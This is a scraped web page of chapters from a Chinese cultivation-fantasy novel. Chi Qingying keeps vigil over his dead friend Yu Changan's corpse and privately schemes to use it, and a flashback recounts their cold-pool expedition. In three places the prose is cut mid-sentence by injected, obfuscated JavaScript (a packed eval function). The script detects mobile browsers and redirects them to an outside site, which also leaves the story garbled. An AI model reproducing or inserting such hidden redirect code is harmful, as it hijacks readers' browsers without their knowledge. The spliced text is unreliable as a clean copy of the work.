话音未落,凄厉的惨叫声便从不远处骤然炸响! 紧接着,数道庞大而扭曲的身影破开云雾,显露出了狰狞的轮廓。 它们高而瘦长,表皮黏腻,如同被活生生剥去了鳞皮的巨蟒,周身翻涌着粘稠如墨的黑气。 那气息带着纯粹的毁灭与不祥,甚至远比之前魔教的毒瘴更要骇人。 真的是异魔。 而且,还不止一只! 方才还剑拔弩张、泾渭分明的仙魔两道修士,顿时脸色剧变。 要知道,在异魔面前,无论仙修魔修,皆为血食。 对峙的杀意瞬间被更原始的恐惧所取代,生死威胁之下,双方几乎本能地暴退开来,仓皇结阵,分别应对那弥漫而来的可怕蚀气。 刹那间,凄厉的惨叫、震耳的轰鸣与蚀气腐蚀血肉的嘶嘶声交织在一起。 让这黑水崖畔几乎化作了炼狱。 更令人绝望的是,一同来袭的异魔,竟是有足足三头! 要知道这等凶物,平日只需一头,就足以血洗一座中级城池。 所幸今日,不止有一位元婴老祖在场,而魔教阵营亦有凶名赫赫的悍将。 一场惨烈至极的混战轰然爆发,鏖战足足持续了两天两夜。 当最后一只异魔轰然倒地,修士们的法袍早已被腥红浸透,阵亡者的残肢仍在蚀气中缓缓消融。 但事情并没有就此终止。 蚀气还尚未散尽,魔教中人却骤然发难。 趁仙门弟子大多带伤、疲惫不堪之际,数道黑影如毒蛇出洞,借此偷袭,直扑伤者面门! “无耻!”仙道修士怒斥。 战火瞬间重燃。 不过魔教的左护法早在异魔的第一波冲击中便遭受重创,失去了战力。魔教又没有派出其他魔头前来领战。 因此,虽然被异魔搅局,又被魔修偷袭,但仙门此次却也趁势重创了魔教势力。 最终,仙门联军一举拔除了魔教的多个重要据点。 逼得残部收缩势力,退守总坛黑水崖的深处。 此次魔教清剿行动,虽不能说是尽善尽美,终究也将魔教的气焰明显打落。 而战场上空,那道霜白身影,早已杳然无踪。 早在三头异魔的颓势渐显时,迟清影便已提前离开。 仿佛他千里而来,只是为了执亡友之剑,为挚友出面,宣告那句“不死不休”的誓言。 待尘埃落定,迟清影便又回去了故友身边。 * 郁长安的停灵之期,还剩最后三日。 三日后,便是下葬之时。 传闻人死后,魂魄会在世间停留七天,七天后才会彻底离开。 因此停灵多循此惯例。 但迟清影不信这个。 在这个修仙世界,未经修炼的凡人死后,可以转世投胎。 而修士则不入轮回。 修士将三魂七魄淬炼成元神,元神即根本。 元神不灭,即使身死也可夺舍重生。 元神若散,则是真正的人死道消,再寻不见。 而郁长安的死,正是先从元神消散开始。 噬魂虫彻底毁掉了他的元神本源。 这些天以来,无论是圣灵髓、剑意,又或是本命神剑。 迟清影所做的一切,都是在试探—— 郁长安是否元神尚在? 照理说,在未结成元婴之前,修士的元神离体,三息必散。 这是铁律。 但郁长安是天命之子,迟清影不认为常理能完全束缚此人。 谁知道他曾经遇到过什么机缘,又是否获得过什么秘法能护存元神? 即使原书的前文中对此并没有一字提及,但迟清影依然没有放松警惕。 对郁长安,他向来抱有着最高级别的忌惮。 就像当年,在百年一现的秘境开启时,尚且年幼的郁长安在千百人面前,拔出了天翎剑。 那时,同样没有任何一人看好他。 魔教左护法在仙门联军面前提及的旧日往事,并不算具体。 对此,迟清影却知晓得一清二楚。 那时,天翎剑所在的秘境百年一度开启。 这次入口恰好位于西洲最大剑宗,沧澜剑宗的外城。 而同在西洲的止水门,向来与其不对付。 两方势力甚至连宗门名称,都恰巧有敌对之意。 沧澜,止水。 一方是水,一方断水。 沧澜剑宗本想独占秘境,却因为天翎剑直接冲上了万域灵宝榜,这消息连想藏都瞒不住。 在以止水门为首的各大势力施压下,沧澜剑宗才不得不放开了入口。 但也是进入秘境之后,众人才得知,天翎剑会自行择主。 而在霸占秘境的时间里,沧澜剑宗早已让全宗所有弟子一一前去试剑。最终无人成功,才不情不愿地放开。 止水门得知后,不仅遣本门弟子前去,还开始一波一波地持续送人。 甚至还有一群随手找来、乞讨为生的凡间孩童。 此举自然是对沧澜剑宗的羞辱。 但止水门也没想到。 郁长安居然真的能将神剑拔出。 震惊之下,他们对年幼的郁长安进行彻查,却发现他不过是凡俗城中流浪的孤儿,无父无母,也根本从未修炼过。 止水门还测了灵根,发现郁长安的确有灵根。 但却是最杂乱、最底层的五灵根。 别说天才,就是在外门弟子中,也是只会被看轻的存在。 谁也不懂,神剑为什么会认可这样一个平平无奇、毫无天赋的孩童。 当时秘境还并未关闭,没多久,继续在其中寻宝的修士们就意外发现。 天翎剑竟然又出现在了最初的山岩之上。 原因也不难猜。 因为有人要强行抢夺,天翎剑不认,干脆重回原位。 执剑者太过弱小,郁长安的遭遇可想而知。 沧澜剑宗对他恨得咬牙,止水门也根本不是什么好人。 如此一介幼童,又怎么可能抵得住两大势力的记恨针对? 之后,郁长安还曾不止一次地又被带回秘境,去重新拔剑。 这场闹剧一直持续到三年后,秘境关闭,夺剑依然没能成功。 天翎剑就这么和秘境一同沉没入了虚空之中。 郁长安也再也没有出现。 至此,所有人都以为。 这杂灵根的稚子必定早已殒命。 守灵厅内,迟清影的目光扫过男人惯于握剑的那只手,眸底掠过一丝冰冷的讥诮。 当年那群贪欲熏心的仙修,根本是眼瞎。 连这都看不见。 天翎剑分明在第一次被郁长安碰到时,就已经认主了。 郁长安右手中指指节上的浅色疤痕,就是当年认主的印记。 只要有那道浅痕在。 即使天翎剑远在天边,郁长安也能将其一念召来。 十七年对修士而言并不算太漫长时间,至少当年亲历此事的修士大多都还在世。 所以在郁长安成名之后,对他情绪最为复杂的,自然是沧澜剑宗和止水门。 就是不知懊恼和畏怕,哪个更多了。 但郁长安成名三载,却没有对这两大宗门有任何的苛责或为难。 对当年那些袖手旁观的势力,郁长安也没有迁怒。 西洲那么多的异魔悬杀令,他照样一一会接。 这事在四洲也早有讨论。 知晓当年旧情的人都说,郁剑修心性之坚,无出其右。 他幼时被这般摧折利用,却依然光风霁月,磊落前行。 唯独迟清影,对此却是完全不信。 在他眼中,郁长安这人就是个阴比——城府如渊,深不可测。 如此光明的外表,不过是郁长安精心织就的完美假面。 像这种从头赢到尾的人,怎么可能是什么天真向善的傻白甜? 真要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106390|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宽宏大量、以德报怨的圣人,早就不知道被弄死多少回了。 如今的沧澜剑宗和止水门,都已从顶级势力跌落,势力青黄不接,颓势尽显。 当年主事的两位宗主,更是一死一伤。 这次的仙门联军,这两门派连参与的资格都没能获得。 虽然明面上无迹可寻。 但迟清影不信,这其中会没有郁长安的手笔。 迟清影也知道,有些人就是这样。 正常说话听不懂。非得见了血,付出代价。 才知道疼。 而经此仙魔一战,天下已是皆知。 无论何人,再想觊觎这天下第一剑的尸身,都要先有顾忌掂量。 ——掂量自己,是否能付得起那血的代价。 冰台之上,沉眠的郁长安分毫无损。 完好如生。 夺不走的。 迟清影看着他,漠然心想。 这具尸身注定是属于我的。 * 自魔教黑水崖一战归来,迟清影便守在灵堂,寸步不离。 方逢时来过数次,总能看见那单薄而孤绝的身影。 他心中忧虑堆积。当又一次见到迟清影掩唇低咳,指缝间渗出刺目的腥红,方逢时慌忙上前帮人抚顺气息后,终于忍不住开口。 “前辈,再有两日便是葬礼。” “若您先累倒了……如何送这最后一程?” 那清冷身影微不可察地一顿。 良久,幂篱轻动, 迟清影终是颔首。 待前辈终于回去休息,方逢时才松了口气。 他并没有立刻离开,而是取出一枚泛着青碧光华的玉碟,掐出指诀。 细密符文如星子般散入灵堂各处。 方逢时的修为虽然只在筑基初期,但他精研丹道多年,手中颇有些稀奇古怪的感应灵物。 这玉碟,便是他身为丹云宗弟子独有的警戒手段。 但在玉碟的光华扫过灵台时,方逢时的指尖却忽然一顿。 郁真人的体内,竟然有灵气流转。 那灵气并非是存放尸身的玄冰灵台所释放。 而是蕴藏在郁真人的体内,自内而外,精纯温润。 难道有人动了手脚? 这是方逢时的第一反应。 连日来,魔教觊觎尸身的画面瞬间闪过脑海。 不过很快,方逢时就察觉应该是自己反应过激。 因为那灵气很熟悉。 是前辈。 正是迟清影那独有的清冽气息。 但方逢时非但没有放松,反而更加不解。 前辈为何要将自己的灵气,渡入郁真人的体内? 迟清影刚歇下,方逢时不忍此时打扰。 但这巨大的疑问沉甸甸地压在心头,让他坐立难安。 踌躇之后,他还是转去了傅九川的居所。 “前辈是不是,仍然接受不了郁真人的仙逝?” 方逢时说着自己的发现,不由喉间发涩。 “他做了很多事,却好像……一直在否认郁真人离开的事实。” 疼痛甚至是会有延迟的。 不仅难以消解,还会堆积更甚。 “所以前辈才会如此,用尽方法、找遍理由,仿佛这样,郁真人就还在身边……” ——迟清影看起来。 根本就不相信郁长安会死。 “所以他才会在自己都虚弱咳血时,还将灵气渡给郁真人——” “等等。” 傅九川还是觉得不对。 “郁兄体内,当真蕴有迟兄的灵气?” 得到方逢时肯定的答案,傅九川眸光更为惊疑。 这怎么可能? 世家大族的老练心性,让他对此更为敏感。 “仙修灵气,不似魔修的吞噬之术。如何能轻易互通?” “尤其郁兄乃是冠绝盖世的剑修,剑意自成天地,那凛冽的杀气会排斥一切外力,更不会容纳他人灵力入体。” “除非……” 傅九川声音沉下去,带着些许难以置信的凝重。 “除非双方属性适配、血脉同源,或功法同根。又或者——” 他顿了顿。 “是灵府相契、神魂交融的双修道侣。” “或许是两位前辈情谊深厚,曾经互相验证所学,对彼此毫不设防……” 方逢时说着说着,却连自己都说不下去了。 因为这两位分明一个剑意冲霄,一个傀儡千机,所修之道完全不同。 “……我还有一个疑问。” 傅九川缓缓说道,目光仿佛穿透眼前,落回黑水崖那惊心动魄的一幕。 这疑问,自听闻战报起,便深深钉入了他的心底。 “为何天翎剑,能被迟兄拿起?” 那柄能自发认主的神兵,当年引得腥风血雨,无数大能拼尽全力都难以撼动。 如今却为何,会如此温顺地,被一个未修剑道之人握于掌中? 铁证在前,无可争辩。 方逢时怔立当场,嗓音干涩得发紧。 “难道前辈和郁真人……真的曾为双修道侣?” 6.发现 第六章 “什么时候的事?” 方逢时喃喃低语,指尖有些发冷。 “前辈与郁真人皆是光明磊落的性子,若真是有关系进展,也断不会刻意隐瞒… …” “除非——” 一个更令人心碎的念头浮出水面。 “……是还未来得及公开?” “你可还记得。” 傅九川忽然开口。 “半月之前,迟兄曾执意前往寒潭?” 方逢时被问得有些茫然:“自然记得。” 那次寒潭寻宝,前辈重伤而归,足足昏迷了三天。 期间,郁真人一直寸步不离地照料他。 “当时我便觉得有些奇怪。” 傅九川蹙眉。 “寒潭归来后,两位的关系似乎有些僵硬,郁兄也一直有自责之感。” “那不是因为,前辈是为救郁真人才受了伤吗?” 当时的情况的确如此。 “但他们之间的气氛着实有些古怪,似有什么误解。” 傅九川道。 “而在后来仙门大比的联手夺魁后,两人的相处又明显不同。像是误会解除……关系也更进了一步。” 方逢时顿了顿:“你是说,寒潭之下,或许另有隐情?” “只是推测。” 傅九川轻叹。 “但眼下,还需找迟兄问个明白。” “至少,不能让他这样继续将自己耗干。” * 晨光未至,屋内一片昏暗。 迟清影静坐榻上,胸前悬浮着一团光芒莹润的圣灵髓。 幽冷的光芒映在他苍白的脸上,勾勒出那几乎惊心动魄的美丽轮廓。 即使从灵堂回来,迟清影也没有休息,而是仍在毫无懈怠地修炼。 他要尽快提升修为。 筑基中期,虽然在这四洲小域已经可以算是不错的等级。 但若是放眼更广阔的中域、上域,这点修为却根本不值一提。 即便是在这四洲大陆上,也还有着金丹真人、元婴老祖这等高高在上的存在。 无论是穿越之前艰难求生的末世,还是如今。这弱肉强食的世态,让迟清影刻骨铭心地记着这个道理。 力量——唯有握在自己手中的绝对力量,才是唯一的依仗。 “咳、咳咳……” 压抑的闷咳打破了安静,一股剧痛自经脉中传来。 迟清影眉心微蹙,睁开了双眼。 那双清冷的眸子如寒星般锐利,迅速扫视过静室的每一个角落。 确认没有任何异常之后,他才重新阖目,将神识探入己身。 自从那次似乎被亡者安抚的恍惚错觉之后,迟清影便更加警惕。 打坐修炼时,他也总会留出三分心神在外。 但这次内视的结果并不乐观。经脉之中,蚀气残留的暗伤顽固盘踞,弄得各处千疮百孔。 毕竟是如此霸道的腐蚀之力,以这筑基期的身体强行承受,还是太过勉强了。 必须得加紧进度了。 迟清影隐忍着周身的剧痛,苍白的额前渗出了薄汗。 再有两日。他想。 待到郁长安下葬,世人目光移开,便是最好的时机。 ——那具最完美的“解药”,便能长久地为他所用。 如此一夜过去,直至晨光熹微,穿透窗棂。 迟清影才缓缓收功调息,将圣灵髓收起。 周遭,那些防止圣灵髓存在外泄的禁制与护法傀儡,也悉数被撤去。 迟清影并未急于起身,而是闭目凝神,袍袖轻拂间,面前已铺开一片寒光流转的炼傀灵材。 他将一夜吐纳的灵力,于丹田内细细锤炼,旋即引动灵火,将灵材熔炼。 借这炼制之功,继续打磨沉淀。 直到天光彻底大亮,迟清影才起身,准备前往灵堂。 不过刚一推门,方逢时与傅九川就已联袂而来。 “迟兄。” 傅九川仍是一身华贵紫袍,他微一拱手,面色有些凝重。 “我们有事想与你相商。” 方逢时跟在他身后,杏眼中满是欲言又止。 迟清影的目光在他们身上一掠而过,淡然无波:“进。” 三人落座,气氛微凝。 方逢时浅浅吸了口气,先问道。 “前辈,我昨日在灵堂查看防护时,偶然发觉郁真人的体内,正留存有一分您的灵气。” 他停了停,小心地试探着问。 “是您,特意用自身的灵气在温养郁真人吗?” 迟清影眼睫微垂,沉默了一瞬,声音清冷依然。 “不是。” 方逢时犹豫了一下,继续道。 “玄冰灵台本身便有极好的蕴养之效,足以保护尸身不腐,无需再用外力灵气来滋养……” 迟清影眸光微抬,直望向他:“二位找我,所为何事?” 傅九川接过了话头。 他姿态从容,语气却更有几分郑重。 “迟兄,郁兄体内能留存你的灵气,这绝非寻常,说明你们二人的灵力极为契合,毫无排斥。” “这种程度的契合,通常只有……” 他斟酌了一下用词。 “只有关系极为特殊、彼此毫无保留的两人才可能发生。” 傅九川顿了顿,看向迟清影。 “而如今郁兄身陨,你却未受牵连,这极可能是郁兄有意而为。” 迟清影的眉头几不可察地蹙了一下:“什么意思?” 傅九川解释道:“郁兄的剑意,至纯至烈,锋芒无匹,会自发排斥一切外力。” “能在他体内留下自身灵力而不被消弭,除非是曾神魂交融、灵力互通的双修道侣。” 他终于挑明。 “但这般契合的道侣,甚至不能只是普通配偶,而非得是仙途共享、寿元相连,曾契约余生共度。” “现下迟兄你灵力稳固,未受半分反噬。这只能是郁兄在殒落之前,不惜代价地单方面斩断了这份牵连。” “二位情谊至此,还望迟兄念及郁兄这番苦心,务必……珍重己身。” 室内陷入了一片寂静。 迟清影端坐如冰像,长睫在眼睑下投出小片阴影。 良久,他才开口,声音低得听不出情绪。 “我知晓了。” 听到前辈答应保重,方逢时终于松了口气。 他又忍不住和傅九川对视了一眼。 ——对“双修道侣”的猜测,前辈居然一点都没反驳。 离开时,方逢时还递上了一枚青色玉简。 书简中是他连夜翻阅找到的奇丹。 这种奇丹可激发玄冰石的功效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅九川说的没错。郁长安的剑意凛然,对外力有着本能的强烈排斥。 就是上次魔教左护法用的“牵尸引”,也不过是勉强驱动尸身的手指关节动了一下。 就算迟清影当时没有出手用傀儡丝斩杀,牵尸引也会在顷刻间便被尸身体内留存的剑意搅碎。 根本不可能将郁长安带走。 对此事,迟清影也极为慎重。 毕竟尸身仅此一具。 必须一次功成。 所以他才会不惜耗费灵气,也要尽可能熟悉。 但…… 迟清影蹙了蹙眉,眼底终于掠起了一丝真正的疑惑。 为什么郁长安的体内,会有他的灵气残留? 方逢时虽修为尚浅,但那份对灵气的敏锐天赋却不容小觑。 而且迟清影知道,方逢时不会对他说谎。 可在停灵这五日里,自己分明只是反复探查,并未有过多余的注入。 迟清影的目光重新锁住灵台上的郁长安。 难道……这具尸身能自行吸收他的灵气? 迟清影眸光微沉,一缕极其细微的神识悄然探出,没入了郁长安的前额—— “唔!” 就在神识触及的刹那,一股凛冽霸道、仿佛能斩灭一切的剑意倏然反扑! 迟清影只觉得识海一阵剧烈震动。 他闷哼一声,身形微不可察地一晃,强行压下喉间翻涌的腥甜。 恍惚间,那日在寒潭深处。被那股灼热气息死死禁锢、无可挣脱的感觉…… 竟是凶蛮地再度席卷而来。 7.寒潭 第七章 半个多月之前,正是迟清影刚刚大病过一场的时间。 但他却执意,要前去那近乎于绝地的北洲寒潭。 当时方逢时与傅九川已经前来与两人会和,一同为即将到来的仙门大比做准备。 听闻此事,方逢时和傅九川都极力劝阻。 因为迟清影身体并不乐观。 “你伤势未愈,气息不稳。寒潭那种地方凶险莫测,岂能冒险?” 傅九川眉心紧锁,方逢时更是忧心忡忡。 “前辈!您的状况一直不见好,我实在担心……您是否遭了暗算。” 这点其实方逢时和傅九川都猜过。 迟清影久病难愈,怕是不慎中了什么阴毒。 只有迟清影自己心里清楚。 这哪是什么中毒? 不过是他强行借助蚀气炼制傀儡丝,经脉不堪重负,身体无法支撑才被反噬。 想要彻底摆脱蚀气带来的痛苦,唯有尽快突破金丹。 获得天道淬炼,才能真正脱胎换骨。 所以迟清影才一定要去寒潭。 原书中的线索非常清晰,在北洲那常年冰封的绝地寒潭之下,有着一道极隐秘的空间裂缝。 而裂隙中所藏的,正是足以引发修真界动荡觊觎的至宝——圣灵髓。 面对两位友人的极力劝阻,迟清影的面上依旧平静,只淡淡地找了个借口。 “我要去取寒晶砂。” 寒晶砂一种极为珍稀的灵材,对炼丹和锻器都有奇用,而且只在寒潭方能孕育,数量少且效用高,因此价值不菲。 这个理由,也足够充分。 方逢时两人依旧忧心,而恰在此时,一道挺拔的身影裹着风尘与未散的凛冽,大步踏入。 来人一身玄色劲装,勾勒出宽肩窄腰的利落线条,身姿如松,眉宇间还带着一丝尚未完全敛去的肃杀。 他周身仿佛萦绕着无形的煌煌之气,让靠近之人不由自主地心生敬畏。 连喧吵的气氛,都瞬间安静了几分。 ——正是刚刚完成异魔悬杀令,从外面归来的郁长安。 “郁真人,您回来了!” 方逢时如见救星。 “前辈执意想去寒潭,您快劝劝他吧。” 郁长安的视线,几乎在进门的第一时间,就精准地落在了迟清影身上。 那目光沉静如深潭,带着一种洞悉人心的力量,仿佛能轻易穿透迟清影平静的表象,一眼看穿他内里强压下的虚弱与勉强。 但出乎所有人的意料,听完原委,郁长安神色未动,直接道。 “我陪他去。” 男人的嗓音低沉,带着刚斩杀凶魔后未褪的凛然,更透出一种金石般的沉冷磁性。 他言语不多,仅此四字,却似有千钧之重。 仿佛纵使天塌地陷,也定会兑现。 “……?” 方逢时和傅九川都愣了。 迟清影的眼睫微不可察地动了一下,心下却是了然。 他知道,即便没有自己的这次提议。 按照原书轨迹,郁长安也会前去。 并且寒潭中,除了圣灵髓这个主角前期最大的金手指,还潜藏着一次几乎让这位天命之子陨落的致命危机。 ——而这,正是迟清影等待已久、杀掉郁长安的最佳时机。 “好。”迟清影淡淡应下,脸上看不出丝毫波澜。 郁长安用目光将他检查过,却并没有上前,而是先去更换了法衣。 此次除魔没有迟清影的同行,少了那能吸纳蚀气的银白傀儡,纵是剑意护体,郁长安的外袍袖口与肩甲处,也难免沾染上几道刺目的蚀气焦痕。 等男人换了一身玄色常服回来,问他身体如何。 迟清影依然神色淡淡:“无碍。” 郁长安却并未移开视线,反而在桌几另一侧坐了下来,凝眸看着他,问。 “傅九川说,你要用寒晶砂去换那卷剑意残片?” “是。” 迟清影抬眼,迎上郁长安的视线。 他知道那卷剑意残片,对郁长安煌明剑道的突破至关重要,是其在仙门大比前提升实力的关键。 原书中,郁长安正也是为此,才会冒险深入寒潭。 “此物于你剑道有益。” 迟清影语气平淡,仿佛只在陈述一件寻常事。 “既然有人愿以寒晶砂交换,我自当为你取来。” “……” 郁长安静默了一瞬,问:“必须亲自去么?” “你伤势未愈,我可以代劳。” 迟清影心头警铃骤响。 莫非这人已知晓寒潭机缘,想将他排除在外? 他当然不同意。 “我一定要去。”迟清影坚持道,“寒晶砂也需得单水灵根才能探查。” 郁长安凝视着他,眸底似有暗流涌动。 “你……如此看重此物?” “自然,”迟清影说,“为了你。” 他难得吐露了一句坦承之言。 “这份残片于你至关重要,何况,你刚说过,正欲寻求剑意突破。” 郁长安沉默。 他与迟清影相识多年,自然知道对方的性格。 无论是面对狰狞凶魔,还是对自身的伤痛体弱,迟清影都漠然待之。 彷如置身事外。 然而此刻,这素来清冷如霜的挚友,却为他之事,显露出了一分罕见的坚持。 郁长安就这样定定看着人,片刻后,才轻点头。 “好。” 迟清影被看得有些莫名:“为何这般看我?” 郁长安唇角极其轻微地牵动了一下,那弧度转瞬即逝,快得如同错觉。 男人目光依旧沉沉锁着迟清影,并没有因为被指明就移开分毫,声音也低沉醇厚,带着一分唯独对他的温和。 “无事。” “……” 迟清影藏在袖中的指尖微微蜷起。 郁长安的敏锐,他从不怀疑。 这人……是否已经察觉到了什么端倪? 必须尽快动手。 迟清影更定下决心。 这人看他的眼神,已经越来越不对了。 ——几乎烫得令人心惊。 * 听闻两人当真要一同前去寒潭,傅九川意外之下,咬了咬牙。 “那我也一同前去。” 他觉得:“三人同去取寒晶砂,成功把握也更大。” 不过傅九川终究还是被劝住了。 此行凶险莫测,寒潭深处是否有异魔蛰伏,还尚未可知。 傅九川毕竟还没结丹,假如真的不巧遇上异魔,甚至没有还击和自保的能力。 而这前往寒潭的路途,甫一开始,便显出了不易。 距离寒潭尚有相当一段路程,便已弥漫起厚重的浓白雾气,有如巨大的帷幕遮拢天地。 这雾气十足诡异,不仅能隔绝视线,还会干扰修士神识,令人极易迷失方向。 更可怕的是,雾气中还蕴含着无数细密、带有强烈侵蚀性的冰霜颗粒。寻常修士若是没有上佳的护身法宝,暴露在外的皮肉顷刻间便会被冻伤。 不过,同行的二人早有防备。 雾气刚刚泛白,郁长安便已抬手,适时激发了一枚古朴的青金石钵。 “嗡——” 一道凝实的淡金色光罩瞬间张开,将两人所乘的车轿稳稳笼罩其中。光华流转,隔绝了外界的一切冰寒。 修士出行,多用灵兽代步。而郁长安身为金丹修士,更是可以直接御剑而行。 这宽敞稳实的车轿,自然是为一向体弱的迟清影特意准备的。 轿中,郁长安手持一柄九玄司南,正凝神辨认这方向,驭使灵马在浓雾中穿行。 迟清影静坐一旁,目光落在郁长安持着司南的修长指骨上,心中却想。 这人依仗的,恐怕不是这件足有地阶上品的珍稀灵器,而是他自己的神识。 剑修的意志强大,郁长安的剑意更是煌明朗照,恐怕这浓雾也很难骗得了他。 会用司南佐证,不过是郁长安性格如此,行事不留任何疏漏。 就像现在,明明身处冰寒刺骨的毒雾之中,迟清影却竟感觉不到丝毫寒意。 反而有一股温煦的浩然之力,正无形萦绕着他。 显然,是郁长安在用剑意为两人护体。 等到雾气愈发浓稠,已然变成翻滚的灰白色。郁长安便果断收起了灵兽与车轿。 淡金色的光罩之外,伸手不见五指,神识亦被压制到极限。 难怪书中,圣灵髓的踪迹从未泄露,寒潭也没有异魔出没…… 迟清影心中暗忖。 这诡异浓雾,怕是成了天然的屏障,将寒潭深处的磅礴灵气彻底封锁,也将外界觊觎隔绝。 “清影。” 他正想着,低沉的声音恰在身侧响起。 一同伸到眼前的,还有一只骨节分明、劲瘦修长的手掌。 迟清影沉默了一瞬,旋即,才将手搭了上去。 微凉的手指,搭在了那温热干燥、带有薄茧的手掌中。 两人的体温颇有些差距。 雾气太浓,他们不得不携手前行。 而在牵住迟清影之后,郁长安的周身剑意也变得更为凝实具体,几乎劈开了这浓雾。 有剑意开路,两人的行进并没有再受到任何阻碍。 而且,果然就像迟清影所想,此时郁长安没再用那司南,也精准地带他走到了潭边。 到了潭边,视野反而清晰起来,仿佛浓浓白雾都被微风吹散。 潭水极其澄澈,几乎清可见底。 潭边怪石嶙峋,覆着一层薄霜。几株苍劲古树虬枝盘结,衬着高远天穹,竟也别有一番遗世独立的意趣。 迟清影的目光,却一直锁在那平静清澈的潭面上。 他知道这美丽的表象之下,有着何等致命的陷阱。 潭水中所含的寒毒,比雾气中的冰霜更霸道十倍不止。 一旦沾身,寒毒便会循着经脉直侵丹田,冻结灵力运转。 轻则修为尽废,重则当场毙命。 迟清影不动声色地抽回了被郁长安握着的手。 郁长安低眸看他,眉目似有探究。 迟清影已翻手取出一枚银白的金属球。 他信手一抛。 “咔、咔哒!咔嗒——” 清脆的机括声连响,原本如明珠大小的傀儡球在空中飞速旋转、变形,眨眼间,便延展为一艘线条流畅、通体闪烁着金属冷光的球形载具,足以容纳两人入内。 “不系舟。”迟清影道。 郁长安的目光从迟清影收回的手上移开,落在这精巧绝伦的傀儡造物上,眸中的欣赏毫不掩饰。 “你取的名,总是很好听。” 迟清影眼皮轻抬,淡睄了他一眼。 “不必恭维,也让你进。” 郁长安峻冷的眉廓微缓,不由露出一抹极淡却真切的笑。 “有劳。” 男人分明面容英俊,气质沉稳,一眼看去却并不好接近。 因为他内中总蕴着一种无法直视的逼人锋芒,让人直觉极其危险。 唯独面对迟清影。 郁长安却似乎总会流露出一种别样的温和与耐性。 随着深入寒潭,一路情况更加凶险。 不系舟下沉不久,就有形貌狰狞的妖兽猛扑而来,凶狠袭击。 等到了潭底,一片庞大而破败的宫殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121206|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废墟静静矗立。里面更是机关重重,每一步都暗藏杀机。 不过,这对身怀剑意的郁长安来说,却算不上什么大麻烦。 剑修和其他修士不同,修为境界固然重要,但真正决定其实力的,却是剑道造诣。 而郁长安正是公认的剑道天才。 他年纪轻轻,却早早便悟出了剑修中堪称十万分之一的剑意。 如今郁长安虽然结丹不过三载,却在斩杀异魔时远超众人,甚至令四洲大陆诸多元婴老祖望尘莫及。 也正是因着这锋芒绝世的剑意。 所以那些寒潭妖兽,对别人来说凶险棘手。 但在郁长安那煌煌如烈日的剑光之下,却根本不堪一击。 至于宫殿中的那些精巧机关,则正是迟清影的领域。 原书里,郁长安花了大力气才暴力拆毁的机关“回廊镜”,迟清影只用了仅仅一炷香,便成功破解。 虽有重重危险,但两人配合无间,终是顺利抵达了此行明面上的目的地—— 孕育有寒晶砂的玄冰矿脉。 迟清影凝神,在霜冷的玄冰中搜寻目标。 郁长安则持剑而立,如山如岳,和往日一样为他护法。 对单水灵根来说,贵为奇珍的寒晶砂并不难感应。 不过迟清影意不在此。 他寻过一圈,却没找到空间裂缝的踪影。 反而感觉到了一股极其凶戾、充满威胁的妖兽气息,正如阴云般笼罩在矿脉上方。 果然。 就在迟清影的指尖即将触及矿脉深处一抹幽蓝晶砂的刹那,异变陡生! “吼——!” 一声震耳欲聋的咆哮炸响。 一条庞大无比、通体覆盖着漆黑鳞甲的巨蛟,破开潭底冰层,挟裹着刺骨寒流与滔天凶威,血盆巨口直扑两人! 迟清影身法如烟,瞬间拉开距离。 他身旁的郁长安出手更快,已是悍然迎上! 煌明剑意轰然爆发,如洪流般迎上黑蛟,将迟清影牢牢护在了身后。 这黑蛟绝非之前那些妖兽可比,它的鳞甲坚硬远超想象,郁长安凌厉无匹的剑意斩落,一片火星四溅! 竟也只在那鳞片上划出了浅浅白痕。 更可怕的,还是它那与庞大身躯完全不符的惊人速度。 粗壮的蛟尾如同一条黑色的钢鞭,带着撕裂水流的尖啸,快如闪电般地直接抽向郁长安毫无防备的后心! 局面已是万分凶险。 迟清影冷眼旁观,心中唯有漠然。 这一下,能杀了郁长安吗? 眼看蛟尾就要狠狠砸中郁长安的脊背,在这千钧一发之际—— “咻!” 一道霜冷的白练倏然破空,撕裂了满潭的幽暗。 迟清影的指间不知何时握住了一柄通体莹白的长鞭,鞭身由无数细密坚韧的傀儡丝编织而成,正是他的本命法器——照夜白。 皎皎如月,破夜而来。 长鞭精准地缠上蛟尾,猛地一扯,硬生生改变了其攻击轨迹。 恐怖的甩尾之力擦着郁长安身侧,轰然砸在玄冰矿壁上!引发了剧烈震荡。 郁长安在剑光与蛟首的搏杀间隙回头,目光穿透激荡的水流,精准地落在迟清影身上。 他眼中并无太多意外,只有一丝了然与沉凝的暖意。传音道。 “多谢。” “当心。” 迟清影简短回他。 迟清影最终还是出了手。 他面无表情地想。 杀不了。 罢了,还是得救。 无需多言,两人当即开始合力对敌。 三年联手,让他们有着出奇的默契。 郁长安剑光煌煌,如烈日当空,不断轰击黑蛟要害。 迟清影鞭影皎皎,似冰河倒卷,或牵制、或突袭,精准无比。 一刚一柔,配合天衣无缝。 只是这黑蛟的等级太高,若是以修士等级而论,已是堪比化神期巅峰。 而且它又占据寒潭地利,一时之间,也难以将其重创。 潭底的威压越来越重,迟清影本就有伤在身,这时的面色更是隐隐发白。 